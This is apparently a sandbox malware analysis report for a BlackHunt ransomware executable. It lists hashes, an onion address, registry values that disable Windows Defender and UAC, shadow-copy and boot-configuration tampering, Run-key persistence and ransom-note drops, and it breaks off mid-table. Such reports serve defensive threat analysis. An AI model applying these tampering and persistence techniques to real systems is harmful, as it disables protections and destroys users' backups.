Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
138s -
max time network
54s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:47
Static task
static1
Behavioral task
behavioral1
Sample
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Resource
win10v2004-20231215-en
General
-
Target
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
-
Size
707KB
-
MD5
dfd710da830c3c39d52b677fd8b53005
-
SHA1
fa116760d81aba4138df3283acf13136312e9be4
-
SHA256
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1
-
SHA512
0420e58e95d5fb9415c27786eaab4b8a2a8faee19dd579e0dc81f7946397af008ad7d91b75ad0808fe1148afa509c5ccf8e77635666bf25b2d1a937c26eb164f
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1i8uvnh:6uaTmkZJ+naie5OTamgEoKxLWhwh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2820 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2712 bcdedit.exe 3048 bcdedit.exe -
Renames multiple (2369) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 524 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\O: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\G: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Z: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\X: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\N: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\I: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\A: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\L: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\T: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\M: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\B: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\P: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\S: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\K: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Q: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\E: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\R: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Y: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\J: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\H: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\V: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\COPYRIGHT 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861240811.profile.gz 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yakutsk 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Efate 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Buenos_Aires 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javafx.policy 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\MANIFEST.MF 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.xml 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Cancun 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javafx.properties 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-output2_ja.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ust-Nera 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin_2.0.100.v20131209-2144.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\license.html 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ho_Chi_Minh 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\MET 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Wake 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIconSubpict.png 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Guadalcanal 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Minsk 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Mendoza 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576_91n92.png 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Tucuman 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\15x15dot.png 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\pop3.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Lord_Howe 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jsse.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Matamoros 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Maldives 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Araguaina 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jvm.hprof.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfontj2d.properties 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-output2.xml 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\sunec.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Riga 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository.nl_zh_4.4.0.v20140623020002.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.security_8.1.14.v20131031.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Tirane 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2724 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1576 vssadmin.exe 2980 vssadmin.exe 564 vssadmin.exe 1196 vssadmin.exe 2592 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeRestorePrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeBackupPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeTakeOwnershipPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeAuditPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeSecurityPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeIncBasePriorityPrivilege 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeBackupPrivilege 2392 vssvc.exe Token: SeRestorePrivilege 2392 vssvc.exe Token: SeAuditPrivilege 2392 vssvc.exe Token: SeBackupPrivilege 2964 wbengine.exe Token: SeRestorePrivilege 2964 wbengine.exe Token: SeSecurityPrivilege 2964 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2088 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 31 PID 2772 wrote to memory of 2088 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 31 PID 2772 wrote to memory of 2088 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 31 PID 2772 wrote to memory of 2088 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 31 PID 2772 wrote to memory of 2976 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 32 PID 2772 wrote to memory of 2976 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 32 PID 2772 wrote to memory of 2976 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 32 PID 2772 wrote to memory of 2976 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 32 PID 2772 wrote to memory of 2840 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 33 PID 2772 wrote to memory of 2840 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 33 PID 2772 wrote to memory of 2840 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 33 PID 2772 wrote to memory of 2840 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 33 PID 2772 wrote to memory of 2688 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 34 PID 2772 wrote to memory of 2688 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 34 PID 2772 wrote to memory of 2688 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 34 PID 2772 wrote to memory of 2688 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 34 PID 2772 wrote to memory of 2804 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 35 PID 2772 wrote to memory of 2804 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 35 PID 2772 wrote to memory of 2804 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 35 PID 2772 wrote to memory of 2804 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 35 PID 2772 wrote to memory of 2628 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 41 PID 2772 wrote to memory of 2628 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 41 PID 2772 wrote to memory of 2628 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 41 PID 2772 wrote to memory of 2628 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 41 PID 2772 wrote to memory of 1716 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 42 PID 2772 wrote to memory of 1716 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 42 PID 2772 wrote to memory of 1716 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 42 PID 2772 wrote to memory of 1716 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 42 PID 2772 wrote to memory of 2588 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 44 PID 2772 wrote to memory of 2588 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 44 PID 2772 wrote to memory of 2588 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 44 PID 2772 wrote to memory of 2588 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 44 PID 2772 wrote to memory of 2636 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 46 PID 2772 wrote to memory of 2636 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 46 PID 2772 wrote to memory of 2636 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 46 PID 2772 wrote to memory of 2636 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 46 PID 2772 wrote to memory of 2692 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 47 PID 2772 wrote to memory of 2692 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 47 PID 2772 wrote to memory of 2692 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 47 PID 2772 wrote to memory of 2692 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 47 PID 2976 wrote to memory of 3068 2976 cmd.exe 49 PID 2976 wrote to memory of 3068 2976 cmd.exe 49 PID 2976 wrote to memory of 3068 2976 cmd.exe 49 PID 2772 wrote to memory of 3064 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 50 PID 2772 wrote to memory of 3064 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 50 PID 2772 wrote to memory of 3064 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 50 PID 2772 wrote to memory of 3064 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 50 PID 2772 wrote to memory of 2428 2772 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 52 PID 2772 wrote to 